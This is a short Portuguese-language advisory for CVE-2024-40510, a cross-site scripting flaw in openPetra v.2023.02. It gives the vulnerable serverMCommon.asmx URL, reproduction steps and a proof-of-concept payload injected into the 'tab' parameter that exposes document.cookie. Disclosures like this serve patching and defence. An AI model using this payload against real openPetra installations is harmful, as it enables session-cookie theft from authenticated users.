
OpenPetra v.2023.02 CVE-2024-40510
Descrição: Um usuário não autenticado pode roubar cookies de um usuário autenticado, explorando uma XSS no openPetra v.2023.02 por meio da função serverMCommon.asmx.
Versão do produto vulnerável: openPetra v.2023.02
Autor do CVE: Jansen Moreira
Data: 13/07/2024
CVE: CVE-2024-40510
Link CVE: https://www.cve.org/CVERecord?id=CVE-2024-40510
Link NVD: https://nvd.nist.gov/vuln/detail/CVE-2024-40510
Link Tenable: https://www.tenable.com/cve/CVE-2024-40510
Confirmado em: 13/07/2024
Testado em: Linux
1- Acesse a página inicial
2- Use o seguinte caminho e adicione o payload de XSS no parâmetro tab. Ex.: http://target.com/api/serverMCommon.asmx?bnd=TMCommonWebServiceSoap&op=TFormTemplatesWebConnector_UploadFinanceFormTemplate&page=op&tab=x
3- Passe o mouse sobre o item do índice à esquerda para acionar o XSS
Payloads:
tab: x" onmouseover=alert(document.cookie) x="
Descobridor(es)/Créditos: Jansen Moreira